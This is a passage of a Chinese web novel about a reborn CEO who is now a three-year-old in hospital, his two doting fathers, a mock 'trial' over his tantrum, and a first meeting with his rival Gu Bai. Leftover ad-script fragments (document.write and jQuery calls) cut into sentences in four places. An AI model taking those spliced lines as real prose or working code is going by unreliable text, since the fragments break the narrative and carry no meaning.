陆行渊沉默了。 这是什么道理? 江知鱼说:“等一下他闹起来,九头牛都拉不住。” 陆行渊淡淡道:“我拉得住。” “那也不行,小孩子的心理健康也很重要的!” 江知鱼举例说明。 “我小时候看动画片,和我们家新买的那只小鸡仔结为异姓兄弟。从那天起,我们家就再也没吃过鸡肉。那只小鸡仔在我们家安心养老,寿终正寝。” 陆行渊转过头,对上江知鱼清澈的目光,试图提醒:“可是小鱼,你最爱吃的东西是炸鸡,三天吃六顿。孜然撒粉、海苔撒粉、甘梅撒粉,撒粉吃腻了就吃蘸酱,蜂蜜芥末酱、奶香芝士酱、琥珀甜辣酱……” “停停停!你报菜名呢?”江知鱼叉着腰,理直气壮,“这是我长大以后的事情,我小的时候还是很爱护小动物的。” 陆行渊笑了一下,最后还是妥协了。 “正好还有点面条,准备做馄饨面。陆傲可以光吃面,不吃馄饨。” “好呀。”江知鱼笑嘻嘻地应了,“我们最好在厨房里把馄饨吃掉,别让他看见。” “嗯。” 商量好了,江知鱼打着哈欠,转身去卫生间洗漱。 陆行渊看着他飘然远去的背影,没忍住又笑了一下。 小鱼小幽灵,可爱。 不好!有个馄饨煮太久破皮了! 陆行渊赶忙捞起馄饨,放进自己碗里。 破皮的他吃,好的老婆吃。 * 厨房里,小夫夫正黏在一起吃早饭。 江知鱼找了两把椅子过来,放在橱柜前。 陆行渊则把热气腾腾的馄饨端上来,又拿来两笼蒸好的小笼包。 两个人并排坐着,有一搭没一搭地说着话。 江知鱼说:“等一会儿吃完了,就去把嗷嗷喊醒。医生说他不能睡太久,也要起来吃早饭。” “好。”陆行渊顿了顿,问,“小鱼,你的心口还疼吗?要不要抹药?” “嗯……”江知鱼按按心口,感受了一下,“应该不用了吧?我没什么感觉了。” “那么大一块淤青,还是要抹一点。” “那也行,等一下你帮我……” 等一下,好像有哪里不对劲! 江知鱼忽然反应过来,放下勺子,看向陆行渊:“你怎么知道我被撞出来一块淤青?” “猜的。”陆行渊对上他质问的目光,沉默片刻,还是改了口,“看的。” 他试图解释:“小鱼,昨天晚上你睡着了,我想给你换件睡衣,再把你抱上床去睡,不是故意看见的。” “是吗?”这倒也说得过去。 再等一下,好像还是有哪里不对劲! “我昨天晚上穿的本来就是睡衣,你还给我换什么睡衣?” “小鱼,是你以前教我的。老婆受伤要第一时间确认老婆伤势,关心老婆。” “那也不能掀开我的衣服偷看!” 江知鱼握着拳头,照着他的胸膛,给了他一下。 真不愧是亲生父子。 江知鱼和陆傲发动攻击,连攻击的地方都一模一样。 陆行渊笑了笑,夹起一个小笼包,要放在江知鱼的碗里。 江知鱼却张开嘴,指了指自己:“啊——” 于是筷子变了方向,把包子送到他面前。 江知鱼一口咬住小笼包,鼓着腮帮子,用力嚼嚼嚼:“不许再有下次,嗯……玩情.趣时除外。” “记住了。”陆行渊再夹起一个包子,“还要吗?” 江知鱼摇摇头,用力拍着心口,还比了个剪刀手:“耶……” 这是谐音,老婆噎住了! 陆行渊又连忙舀起馄饨汤,吹了吹,送到江知鱼嘴边。 * 爸爸和大爸爸黏黏糊糊地吃着早饭。 而陆傲……正孤独地躺在病房里睡觉。 或许是父子连心,陆傲感应到了什么,在睡梦里也微微皱起眉头。 不许!江知鱼和陆行渊不许吃馄饨! 不许……不许吃他! 陆傲倏地一下睁开眼睛,对上洁白的天花板,目光清明。 他腾地一下从床铺上坐起来,下意识伸出手,摸了一下自己的额头。 额头不烫,头也不晕。 但不知道为什么,他总觉得身上不舒服,手和腿都酸酸的,屁股也痛痛的。 就像熬夜跑了马拉松一样。 这回陆傲没有犹豫,直接按下墙上按钮。 “叮咚”一声,医生护士还没赶过来,对面厨房的江知鱼先过来了。 陆行渊留在厨房里收拾“馄饨遗迹”,免得被陆傲发现。 “嗷嗷,你醒啦?”江知鱼一脸惊喜地出现在病房门外,“有没有感觉哪里不舒服?” “当然。”陆傲坐在病床上,面无表情地点了点头,“我不舒服才会按铃。” 一听这话,江知鱼有些着急,连忙上前摸摸他的额头。 “没发烧啊,也没犯病啊。你哪里不舒服?” “我的手有点酸。” “啊……手酸。” 江知鱼沉默了。 像他昨天那样疯跑乱动,手酸是很正常的。 陆傲继续道:“我的脚也很酸,还有我的……我的屁股……” 霸总对“屁股”这个词总是难以启齿。 江知鱼眨巴眨巴眼睛:“屁股也很酸?” “嗯。”陆傲认真地点了点头,“所以我觉得,我需要再看一下医生。” “不用了。”江知鱼扯了扯嘴角,“爸爸知道为什么。” “你知道?” “对。” “住手!你想干 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 在陆傲的惊呼声中,江知鱼双手穿过他的胳肢窝,直接把他抱了起来。 “放开我!别抱我!” 江知鱼却垂了垂眼睛,示意他往下看。 只见陆傲下意识用力挥舞双手,奋力摆动双腿,在空中跑步,试图逃跑。 “这就是你手酸腿酸的原因。” 陆傲好像想起了什么,不自觉沉默了。 紧跟着,江知鱼一手抱着他,一手轻轻拍拍他的屁屁,又模拟打针的动作。 “噗呲——啾——” “这就是你屁股酸的原因。” “想起来了吗?” 陆傲沉默着,缓缓抬起头,对上江知鱼的视线。 下一秒—— “嗷!” 陆傲大叫一声,直接挣脱江知鱼的怀抱,像一颗小炮弹,直接砸回床上。 他定睛一看,因为他刚刚按了按钮,医生护士都站在病房外面。 他拽着被子,直接钻了进去。 如果可以,他还想直接在地上挖个坑,把自己埋进去。 想起来了!他全都想起来了! 昨天晚上,噩梦、绘本、水彩笔。 他在江知鱼面前大放厥词,立下豪言壮志。 江知鱼把他按着打屁屁,陆行渊把他按着打屁屁。 他们俩把他按着,轮流打屁屁! 霸总的尊严,在他想起来的瞬间,荡然无存! 陆傲不要见人了!他要再重生一次! 下一次,他一定能比这次做得更好! 偏偏江知鱼不如他愿。 江知鱼弯下腰,抓住被子边缘,要把被子掀开。 “嗷嗷,别害羞。爸爸已经让医生护士都走了,快出来。” “不要!” 陆傲奋力抵抗,但他一个三岁崽崽的力气,怎么比得过成年人的力气呢? 他只能眼睁睁地看着他唯一的庇护,慢慢离他远去。 被子掀开,陆傲对上江知鱼含笑的目光。 他只看了一眼,就马上闭上眼睛,假装睡觉。 他睡着了,他什么都不记得,他什么都不知道。 他刚刚是在梦游,他昨晚也是在梦游。 那不是他,做出那些事情的人不是他! 江知鱼笑出声,捏捏他的小脸蛋:“醒了就快起来,大爸爸煮了面条,你不想吃吗?” 不想! 霸总不受嗟来之食! 陆傲打定主意装睡,谁也拿他没办法。 江知鱼想了想,只好说:“是哪个小朋友睡着了呀?举起手,让爸爸看一下。” 陆傲握紧拳头,闭紧双眼,一动不动。 他可不是三岁小孩,这种幼稚的招数骗不到他。 可是下一秒,江知鱼却说:“陆嗷嗷小朋友没有举手,说明他没有睡着。” 陆傲不敢置信地睁开眼睛:“睡着了是不会举手的。” 江知鱼歪了歪脑袋:“睡着了也是不会说话的。” 骗到了。 陆傲最后还是被骗到了。 江知鱼把他从床上抱起来:“走,爸爸带你去刷牙洗脸。” 陆傲面无表情地命令他:“忘掉,把昨天晚上的事情忘掉!” “忘不掉。”江知鱼同样理直气壮地回复他,“你做了坏事,这么容易就想让爸爸忘记啊?不行。” 想他陆傲,一世纵横,呼风唤雨,他怎么会做出这种事情? 江知鱼、陆行渊,还有老张管家,还有医院的医生护士,十几个人,他们手里都有他的把柄了! 重生之路,处处受制,千难万险,教他何去何从啊! 陆傲脑袋一歪,倒在江知鱼怀里,了无生机。 12.判决 12 小夫夫分头行动。 陆行渊留在厨房收拾碗筷,再煮一碗面给陆傲当早餐吃。 江知鱼则抱着陆傲,带他去卫生间洗漱。 来到洗漱台前,江知鱼刚准备把陆傲放下,低头一看,才发现陆傲倒在自己怀里,一脸的生无可恋。 霸总难过,霸总绝望。 霸总疑似失去全部抵抗的力量。 江知鱼看着他呆呆的小表情,没忍住笑出声:“怎么了?又睡着了?” 陆傲摇了摇脑袋,然后别过头去,没有说话。 他不困,他只是没脸见人了而已。 一想到接下来几十年,他都要以“那个在医院发疯狂奔的小孩”的身份,生活下去,被江知鱼嘲笑,被医生护士背地里议论,他就有点提不起精神。 说不定,医生护士还会对其他小孩说:“之前有个小孩,大半夜发烧,不按按钮,一只崽在病房里跑来跑去,撞来撞去。你们千万不能学他,感觉不舒服,一定要按铃。” 他完美的重启人生,就此沾上了抹不去的污点! ——不!!! 江知鱼抱着他,掂了两下,问:“还在为昨天晚上的事情生气呢?” 陆傲捂着脸,朝另一边转头。 他好难受,难受得快要死掉。 “你昨天晚上那样对爸爸,爸爸都没生气,你还生气了?” “我当然要生气!” 陆傲“噌”的一下坐直起来,委屈巴巴地看着江知鱼。 “我高大伟岸的形象都被毁了!医生护士肯定都会在背地里笑话我……他们昨天晚上肯定都已经笑过了!” 一说这话,江知鱼也笑了。 “你又笑!” 陆傲更难受了,他身子一歪,重新倒了下去。 江知鱼忍住笑,清了清嗓子,抱着他轻轻摇了摇:“没关系的,医生护士每天都这么忙,很快就会忘记这件事情的。” “再说了,你那时候是在生病。生病的小孩,有时无法控制自己的行为,这是科学研究证明的,医生护士都是懂得科学的人,不会笑你的。” “真的吗?”陆傲怀疑地看着江知鱼,“但你会笑我的,你……你还会拿这件事情来威胁我……” “威胁你?我为什么要威胁你?你有什么可威胁的?”江知鱼迷惑。 “因为……” 因为你是虚荣的爸爸啊。 “放下,爸爸不会威胁你的。”江知鱼哄他,“而且,你没有发现吗?这件事情不是最重要的,最重要的是——” 是什么? 江知鱼用眼神示意他往前看。 陆傲下意识顺着他的目光看去。 洗漱台上挂着一面镜子,陆傲在镜子里看到了自己的模样。 因为昨晚发烧,他的头发炸炸的,小脸也干干的,眼角还黏着干掉的眼屎。 整只崽看起来十分凌乱,像一只小狮子。 江知鱼故意说:“哎呀,我们嗷嗷是最注重形象的崽崽,现在变成这样,还因为生气,不肯刷牙洗脸,怎么办呢?” 陆傲马上说:“我不生气了,我要刷牙!” “好。” 江知鱼顺势把陆傲放在儿童洗漱台前。 陆傲动作麻利,认认真真地刷了牙,又仔仔细细地洗了脸。 最后,他贴在镜子前面,用梳子把自己翘起来的头发一根一根压下去。 霸总的形象管理,一刻都不能疏忽! 从今天开始,他要时刻维护自己严肃庄重的形象,一雪前耻! 十分钟后,陆行渊端着一碗面条过来,陆傲还在整理形象。 江知鱼抱着手,靠在门框边:“小帅崽,可以了,你已经很帅了。” 陆傲不为所动,努力把翘起来的一撮头发按下去。 “过一会儿它自己就下去了。” “不要。” 江知鱼使出杀手锏:“你再不吃东西,把自己饿瘦,变成瘦嘎嘎的小崽崽,长大以后也矮矮的、瘦瘦的,完美的形象就飘走咯——飘走咯——” 陆傲迅速回过头:“吃饭吧,正好我有点饿了。” 陆傲放下梳子,最后整理了一下衣领,雄赳赳气昂昂地走出卫生间。 下一秒,陆傲发现房间里忽然多出一个人,下意识停下脚步。 陆行渊把煮好的面条放在茶几上,然后就站在旁边等着。 听见他们出来了,陆行渊也抬头看去。 父子二人,原地对峙。 昨天晚上,陆傲烧得厉害,他隐约记得,陆行渊好像过来了,还打了他的屁股。 但他始终记得不太清楚,连陆行渊长什么样子都没看清,只记得他很高,力气也很大,单手就能把他按住。 而现在,陆傲终于看清楚了。 男人确实很高,大概有190。 ——这没什么了不起的,陆傲前世也有188! 只差了两厘米而已,这一世肯定可以超过他的! 男人身形高大,体魄强壮,面容冷峻,看向他的目光冷冷的。 昨晚他按着陆傲打屁股,肯定收着力气了。因为他看起来可以一拳打死三个三岁崽崽。 ——这也没什么了不起的,陆傲前世也很擅长格斗! 但是……但是…… 陆傲站在地上,双拳紧握,需要努力抬起头,才能看清楚男人的脸。 父爱如山。 高大的大爸爸,对三岁崽崽来说,就像是一座小山。 面对江知鱼的时候,陆傲感觉到的是天然的熟悉和亲近。 只有在江知鱼凶起来的时候,他才会感觉到那股来自血脉深处的压制。 而陆行渊…… 或许是因为他们太像了,都是霸总,一个大霸总,一个小霸总。 他光是站在那里,就让陆傲莫名有些紧张。 他有预感,江知鱼不会因为昨晚的事情揍他,但是陆行渊……一定会! 不过…… 他陆傲可不是会被吓倒的人! 他连死都不怕,他还有什么可怕的? 陆傲握紧拳头,重新振作起来,大步走上前,朝陆行渊伸出手。 “你好!” 陆行渊皱起眉头,似乎看不透这小崽崽的脑子里在想什么,怎么一会儿愁眉苦脸,一会儿气势汹汹的? 小孩的心思真难猜,还是老婆的心思好猜。 陆行渊在他面前单膝蹲下,面不改色地朝他伸出手:“你好。” 父子二人见面握手,像国家领导人初次会面一样。 怎么看怎么奇怪。 江知鱼上前:“嗷嗷,大爸爸给你煮了面条。哇,还煎了荷包蛋耶,快点来吃。” “好的。”陆傲却仍旧握着陆行渊的手,不肯撒开,他迎上陆行渊的目光,“谢谢。” “不客气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 父子二人僵持了一会儿。 最后,陆行渊默默地举起手,语气冷漠:“你能不能不要掐我的手心?” 陆傲也举起自己的手,大声控诉:“你也捏我的手了!你昨晚还打我了!” 两个人同时转过头—— “老婆,好痛!” “江知鱼……爸爸,他捏我!” 真难得,陆傲竟然喊“爸爸”了。 江知鱼伸出双手,照着他们的手掌,一人拍了一下。 “幼稚!” “陆嗷嗷,快点过来吃早餐,等一下面条坨了。” “陆行渊,再给我煎一个蛋,我也想吃。” 江知鱼捧着脸,朝陆行渊眨巴眨巴眼睛,抛了几个媚眼。 陆行渊马上行动起来:“猜到了。已经煎好了,我去拿。” “好耶。” 陆傲瘪了瘪嘴,气鼓鼓地坐在茶几前。 讨厌的江知鱼,他竟然向着陆行渊。 亏他还想拯救江知鱼于水火之中呢。 哼,他不救了! 江知鱼拿起陆傲的口水兜,给他围上,又把儿童筷塞到他手里:“快吃呀,你不饿吗?” 陆傲低下头,用筷子夹起一根面条,塞进嘴里。 嗯……还是救一下好了。 一家三口并排坐在茶几前。 陆傲吃面,江知鱼吃煎蛋,陆行渊什么也没吃。 二十分钟后,陆傲放下筷子,用勺子舀面汤喝,一口接一口。 混合着油葱、虾米和煎蛋香气的汤底,金灿灿的,是整碗面条的精华。 直到把面汤全部喝完,陆傲才放下勺子。 江知鱼摸摸他的小肚子:“好吃吗?” “好吃。” “那应该对大爸爸说什么呢?” “嗯……”陆傲看向陆行渊,“多谢,你的手艺真不赖。” 陆行渊面不改色:“不客气,你的嘴巴也不赖。” 各种意义上的不赖。 吃完早饭,趁着两个大人收拾碗筷,陆傲趁机梳理一下他现在的处境。 昨晚高烧,几乎要把他的全部记忆都洗去。 所幸他凭借着顽强的意志和不屈的意志,和高烧作斗争,在昏迷之前,他还不断在心里重复告诉自己—— 我是陆傲,我是重生的霸道总裁。 他这才保全了大部分记忆! 这是他重生路上的一大壮举! 现在,病魔退去,他又要重新开始他的计划了! 就在陆傲捏紧拳头,志得意满的时候,他的头顶忽然传来江知鱼温柔的声音—— “嗷嗷,你吃饱了吗?身上还难受吗?” 陆傲点点头,又摇摇头:“吃饱了,不难受。” “好啊!”江知鱼忽然变了语气,大喝一声,“来人呐!把咸鱼饭陆嗷嗷抓上堂来!” 一只大手从天而降,将他抓了起来。 陆傲震惊。 “陆嗷嗷,你言语顶撞爸爸、对爸爸口出狂言,还撞飞爸爸,给爸爸造成身体和心理双重创伤,你认不认?” “不认也没关系,现在本官当场作出判决,判你——” 场景一转—— 陆傲被陆行渊架在沙发上,面无表情。 江知鱼坐在他面前,拿着一只小小的独角兽玩偶,对准他的心口:“砰!砰砰砰!撞你!小坏蛋,撞飞你!” 13.主角崽崽 13 ——咸鱼饭陆嗷嗷,不仅用言语冲撞爸爸,还用铁头撞飞爸爸。 被爸爸大法官判处“以牙还牙”刑罚,当堂执行! 陆傲沉默着,面无表情地看着身边发生的一切。 他的身后,陆行渊架着他的双手,把他举起来。 他的面前,江知鱼拿着一只独角兽玩偶,一下一下撞着他的心口。 “砰!小坏蛋,撞飞你!” 江知鱼,你真的很幼稚,比三岁崽崽还幼稚。 陆傲无奈地叹了口气,抬起头,环顾四周。 这时,身后的陆行渊摇了他一下,低声提醒道:“陆傲,配合爸爸。” 配合?怎么配合? 陆傲不懂。 陆行渊补充提醒:“表现得和爸爸被撞的时候一样。” 可是江知鱼用玩偶撞他,一点都不痛啊,反倒还有点痒。 陆傲酝酿了很久,最后憋出来一句:“啊——好痛——” 语气毫无波澜,听起来完全不痛的样子。 陆行渊正色道:“启禀小鱼大人,陆傲已经认错了。” 陆傲看了他一眼,表情更复杂了。 陆行渊,你也很幼稚,你比江知鱼还幼稚。 江知鱼清了清嗓子,停下动作:“真的吗?陆嗷嗷,你知道错了吗?” 陆傲一脸无奈:“知道了。” 快点结束这场无聊的过家家! “那你说说你错在哪里了?” “我不该用脑袋撞爸爸。” “还有呢?” “也不该和爸爸顶嘴。” “继续。” “更不该对爸爸说……”陆傲顿了顿,垂下眼睛,“更不该对爸爸说,要和爸爸断绝关系。” “嗯,看来你是真的知道错了。那你预备怎么改正呢?” “还要改正?” “那当然,做错事情必须改正。”江知鱼重新举起手里的独角兽,“给你三秒钟的考虑时间,不然爸爸就要重新开始撞你了。” “我会……”陆傲低下头,小脸涨红,声音低低的,“我会调整语气,好好地和爸爸说话。” “嗯,然后呢?” “再也不会撞爸爸了。” “那你说,你最爱爸爸。” “我……” 陆傲猛地抬起头,像一条圆滚滚的河豚,不知道被捏住哪里,浑身的刺都炸了起来。 “江知鱼,你不要得寸进尺!” “嗷嗷,你会用成语耶。” “不要转移话题!” 他他他……他才不爱江知鱼呢!他最讨厌江知鱼了! 他才不喜欢,没错,他一点都不喜欢江知鱼! 全世界他第二讨厌的人就是江知鱼,第一是陆行渊。 陆傲闭上眼睛,下定决心,决绝地扭过头去。 “士可杀不可辱!你干脆用玩具撞死我算了!” 可是他的小脸蛋,连带着他的耳朵,都红得要滴血。 江知鱼没有想到,陆傲的反应会这么大。 他只好让陆行渊把他放下来,然后伸出一根手指,轻轻戳了一下他的脸,马上又收回来。 陆傲疑惑:“你干嘛?” 江知鱼一脸认真地说:“你的脸红红的,爸爸怕被你烫到,先试一下温度。” “……” 江知鱼,你真的很会逗小孩。 陆傲受不了了! 他才没有脸红呢! 他这是羞愧难堪的脸红,他不舒服,他发烧了,和江知鱼没有关系! 陆傲回过身,一脑袋撞在陆行渊的腿上。 陆行渊没反应过来,皱眉不解。 江知鱼也一脸迷惑:“嗷嗷,你撞大爸爸干什么?大爸爸没说话啊。” 陆傲理直气壮:“我刚刚承诺了,不会再撞你,我就不会再撞你。我言出必行。” 原来如此。 陆傲生气的时候,总要撞点什么来出出气,不能撞江知鱼,那就只能撞陆行渊了。 谁让这里只有他们两个人呢? 谁让陆行渊是江知鱼的老公呢? 陆傲抱着手,仰着头,严肃地看着两个成年人:“这场游戏,到此结束。我不陪你们玩了。” 说完这话,他就潇洒地转身离开。 他挽起病号服裤脚,双手抓住病床栏杆,麻利地翻到病床上,正襟危坐。 江知鱼转过头,看了一眼陆行渊,对他说:“你看吧,我就说他变得很烧包。” 陆行渊点了点头,表示赞同。 “和你很像,一模一样。” 陆行渊沉默了。 陆傲握紧拳头,咬着小乳牙,极力忍耐。 江知鱼以为他说话很小声吗?他都听见了! 终于,陆傲还是没忍住,严肃反驳:“根本不像。” 他才不是冷漠无情的人,他更不会为了利益,和根本不爱的人家族联姻。 他才不要像陆行渊。 * 陆傲吃完早饭,又吃了药,情况看起来好多了。 不发烧,不头晕,也能爬起来看新闻了。 “巴拿拿总统今日回国……” 陆傲抱着手,一边看新闻,一边思考人生。 他还记得自己定下的重生三大目标。 第一,是强身健体;第二,是积累金钱;第三,则是让江知鱼和陆行渊离婚。 陆傲一开始觉得,反正他们既不相爱,也不爱他,这种没有爱的家庭,纠缠久了只会深陷泥淖,干脆让他们离婚好了。 不过现在…… 陆傲扭过头,看向病床旁边的两个人。 江知鱼和陆行渊并排坐在沙发上,正和他一起看电视。 江知鱼故意学陆傲的动作,抱着手,微微仰起头,面带微笑,一脸自信。 他不仅自己这样做,还让陆行渊也一起摆造型。 陆行渊竟然也配合。 所以,一家三口的动作一模一样。 陆傲看见就头疼。 他捂着额头,转回头去。 陆傲搞不懂。 江知鱼不是最爱出去花天酒地了吗?他怎么还不走? 陆行渊不是最看重自己的事业了吗?他怎么也不走? 他们两个竟然舍得在医院浪费时间?他们是要留在这里,等他病好了再离开吗? 陆傲想不明白。 想不明白就不想了,陆傲迅速掐断脑子里不切实际的幻想。 不要给自己无谓的期待,这是陆傲前世独自生活十几年后,得出的生活经验。 陆傲强迫自己把全部注意力都放在新闻上。 不管怎么样,他是个谨慎的霸总,让他们离婚的事情,还是观察几天,再做决断吧。 * 接下来一整天,陆傲的情况都不错。 能吃能睡,病情也没有反复。 出乎他的意料,江知鱼和陆行渊……真的在医院里待了一整天,陪了他一整天。 不过,在他午睡醒来的时候,他们消失了半个小时。 张大爷守在他的床边,对他说,他们出去买菜了。 但是陆傲被江知鱼抱在怀里的时候,闻到他身上有咸咸的辣条味,还看见他的白T恤上有一个小油点。 陆傲想看他吃瘪,于是故意问:“江知鱼,你身上辣辣的。” 江知鱼面不改色心不跳,张口就来:“谢谢,因为我是辣爸。” 陆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 傲哽住。 可能这就是父子之间的差距吧,他永远也赶不上江知鱼。 江知鱼抱着他,看了一眼窗外:“太阳下山了,爸爸和大爸爸带你去楼下小花园散散步,怎么样?” “好。”陆傲没有反对,反正是对他健康有益的事情,医生也说过,他有时间可以出去走走。 “收拾一下。” 陆傲一直穿着医院的病号服,但江知鱼怕他冷,就从行李箱里拿出一件深绿色的小恐龙连帽外套,给他穿上。 外套很厚实,也很大,套在病号服外面,长度正好到陆傲的膝盖。 江知鱼蹲在陆傲面前,帮他整理好衣服,最后帮他把拉链拉上。 “好了。”江知鱼笑着展示,“嗷嗷,你看,这个拉链可以一直拉到帽子上,把你的脸也盖住,然后你就变成一只真正的小恐龙啦!嗷嗷!” 前面那个“嗷嗷”是名字,后面那个是恐龙叫声的拟声词。 “幼稚……啊!” 眼前忽然一片黑暗,陆傲下意识紧紧抓住江知鱼的衣服。 他大声呼喊:“江知鱼,快放我出去!里面太黑了!” “好好好。”江知鱼把拉链拉开,只到他的脖子,“这样可以吗?” “可以。” 陆傲马上恢复严肃,好像刚刚那个怕黑的小孩不是他一样。 正好这时,陆行渊也把陆傲的儿童水壶洗干净、灌满水,拿过来了。 江知鱼接过水壶,把它挂在陆傲身上:“我们出去半个小时,你自己要记得多喝水,回来之前要把水壶里的水喝完。” “没问题。” “那就出发!” 江知鱼牵起陆傲的手,走出病房。 陆傲只是别扭了一下,马上就适应了。 没办法,谁让他今年才三岁呢? 他的力气太小了,根本挣不开爸爸的手,所以他只好让爸爸牵着啦。 不是他主动的。 陆行渊站在原地,江知鱼回过头,也朝他伸出手。 江知鱼左手牵着陆行渊,右手牵着陆傲,一家三口坐电梯下了楼。 花园很大,有树木,有草地,还有一条鹅卵石铺的小路,弯弯曲曲地横穿花园。 江知鱼做决定:“我们就沿着这条路一直走,看看花园的对面是什么,怎么样?” 陆氏父子没有异议,齐声应“好”。 于是江知鱼牵着他们,踏上旅途。 走出去没多久,江知鱼忽然发现不对劲。 “等一下,我们的队形好像有点问题,应该是小崽崽在中间,家长在两边。快,嗷嗷过来。” “不要。”陆傲站定不动。 和江知鱼手拉手,已经是他能承受的极限了。 他不要和陆行渊牵手。 江知鱼又看向陆行渊,陆行渊也是一脸抗拒:“老婆,我不要。” “好吧。” 陆氏父子都这样嫌弃对方,那就只能他走中间了。 一家三口继续往前走。 没一会儿,手心里出了汗,陆傲就把自己的手从江知鱼手里抽了出来。 他一只崽,穿着小恐龙外套,背着小水壶,大步走在最前面。 陆行渊忍得住,再热他也忍得住,始终牢牢牵着江知鱼的手,两个人跟在后面。 花园深处,绿树成荫,静谧安宁。 可就在这时,前方忽然传来一声怒吼—— “顾白!你给我站住!” 话音未落,一个白皮耗子一般的身影,“咻”的一下,从前面拐角处窜出来,直直地撞在陆傲身上。 紧跟着,绿色小恐龙和白皮小耗子一起飞了出去。 “哎呀!” “可恶!” 14.顾白 14 “嗷嗷!” “小白!” 在两边家长的惊呼声中,“嘭”的一声,绿色小恐龙和白色小耗子双双摔在柔软的草地上。 “哎呀,好疼啊。” “可恶!可恶可恶可恶!” 两边家长连忙上前,查看崽崽们的情况。 江知鱼蹲在草地上,把陆傲扶起来,拍掉黏在他身上的草屑,从上到下仔细检查。 “嗷嗷,你没事吧?有没有哪里痛?” “没事。”陆傲摇摇头,见江知鱼担心的模样,又补充说明了一句,“我的反应很快,他撞上来的时候,我就预判好了路线,摔在旁边的草地上。” “嗯,那就好。”江知鱼松了口气,“不过……” “嗯?”陆傲自信叉腰。 “你都已经预判到了,为什么不直接躲开呢?” “这个……” 当然是因为他躲不开。 江知鱼是懂得提问的。 陆傲成熟地将双手背在身后,移开目光,转头看向旁边。 被撞翻之前,他好像听见有一个人大喊“顾白”。 ——顾白。 这是陆傲除“江知鱼”和“陆行渊”外,记得最牢的一个名字。 顾白是他的死对头,也是《团宠崽崽三岁半》里的主角。 他从小就和顾白作对,小时候抢他的小红花,长大了抢他的生意订单。 他们是天生对立的两个角色,是水火不容、不死不休的永世仇敌。 不过现在,那个白皮耗子的两个家长,都围在他身边,检查他的情况,把陆傲的视线挡得严严实实的,陆傲什么都看不见。 他也就不能确定,此“顾白”是不是彼“顾白”。 江知鱼顺着他的目光看去,看看对方家长,再看看陆傲,好像明白了什么。 他提高音量,问了一句:“没事吧?” “没事没事……”对面家长反应过来,连忙起身道歉,“真是不好意思,是我们没看好孩子,太不好意思了!” 江知鱼摸摸陆傲的小脑袋,像是在问他是否满意。 陆傲不由地翘了翘嘴角,他的爸爸还是有点用处的。 “正好这里就是医院,小朋友可以马上检查一下,检查费用由我们来承担。实在是不好意思!顾白,快出来道歉!” 这时,那个白皮耗子也从家长身后钻了出来。 “对不起,我不是故意的,你没有受伤吧?” 陆傲看着他,不由地握紧拳头,后退半步。 是他! 真的是他! 陆傲永远永远,都不会忘记这双眼睛! 作为团宠文里的主角崽崽,顾白一定会有一双天真无辜的大眼睛。 前世,陆傲也最讨厌他这双眼睛! 酒会上、午宴里,顾白总是用这双眼睛,远远地望着他。他的目光穿透人群,难过又期待,悲哀又喜悦。 陆傲觉得,这一定是顾白的挑衅! 顾白想揍他,但是他不敢,因为他知道他练过格斗!哼哼! 想不到,这一世,他们这么早就见面了。 同样是三岁小崽崽,顾白就没他稳重。 既然这是顾白,那么跟在他身边的…… 陆傲抬起头,看向跟在顾白身边的那两个成年人。 他们就是顾白的爸爸和大爸爸吧? 原剧情里,因爱结合,一个温柔,一个严肃,刚柔并济的完美家长。 这两个人,一高一矮,攻受易分。 但他们的穿着好像有点奇怪。 矮的那个穿着黑白色的商务套装,头发梳得板板正正,一丝不苟。 高的那个却穿着粉蓝的家居服,脑袋上戴着儿童遮阳帽,胳膊上挂着儿童水壶,背上还背着鼓鼓囊囊的宝宝包。 很明显,崽崽顾白不想拿东西,所以全部丢给他。 陆傲在心里再加一笔,顾白不如他独立。 而且,顾白的爸爸和大爸爸看起来也就那样嘛,还是他的爸爸和大爸爸好一点。 只好一点点,也是更好。 陆傲环抱小手,打量着他们,在心里把自己家和顾白家从头到尾对比了一遍。 最后他在心里宣布,经过各项综合比拼—— 陆傲家完胜! 另一边,江知鱼好像认识他们一般,和他们说上了话。 “小白爸爸,是你们啊?” “嗷嗷爸爸,好巧。” “你们怎么也在这里?小白也生病了吗?” “对啊,最近春夏换季,小孩子太容易感冒了。小白昨天忽然发烧,这不,赶紧把他送过来住院了。” 陆傲听见这话,下意识抬起头。 顾白也发烧了?难道他也…… 江知鱼只以为是巧合,也说:“我们家嗷嗷也是,忽然发烧,吓死我了。嗷嗷昨天晚上还……” 陆傲一激灵,连忙扑上前,捶了一下江知鱼的腿。 你怎么一点戒心都没有? 竟然直接把我的弱点告诉别人!傻乎乎的! 不许说! 江知鱼低头看了他一眼,摸摸他的小脑袋,没有再说下去。 顾白的两个家长弯下腰看他,笑着说:“昨天晚上怎么了?嗷嗷不让爸爸说啊?没关系,那我们就不听了。” 陆傲瘪了瘪嘴。 他们这是在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 取笑他,别以为他没听出来。 与此同时,顾白悄无声息地挪到陆傲身边,眨巴了一下眼睛,一瞬不瞬地看着他的侧脸。 看了一会儿,顾白又悄悄伸出手,想要拉一下陆傲的小恐龙帽子。 就在这时,陆行渊带着医生护士回来了。 “怎么了?小朋友没事吧?” 医生的声音打破花园的宁静,顾白连忙收回手,拽着自己的衣袖,眼巴巴地看着陆傲。 “对不起,嗷嗷,我不是故意的,都怪我走路不小心,你可以撞我三下。” 陆傲“哼”了一声,别过头去,不想理他。 “那……那你可以撞三十下,不过我想分期付款。别不理我嘛。” 就、不、理! * 两个小崽崽被带下去,简单检查一下身体。 幸好他们两个都穿着外套,摔也只是摔在草地上,没什么大事。 顾白被家长严厉教育一番,让他保证,以后不会再乱跑乱撞。 陆傲坐在旁边的椅子上,看着顾白挨训,很没有礼貌地笑出声来。 他就喜欢看顾白吃瘪。 ——陆傲嘻嘻。 然后江知鱼一巴掌按在他的脑袋上,让他不许幸灾乐祸。 他捂着脑袋,瘪了瘪嘴。 ——陆傲不嘻嘻。 他收起笑容,敛起思绪,开始想事情。 他不记得顾白两个父亲的名字。 他只记得,顾白的大爸爸,霸道严厉,经营者一家跨国集团,黑白两道通吃,是团宠文里经典的大佬爸爸。 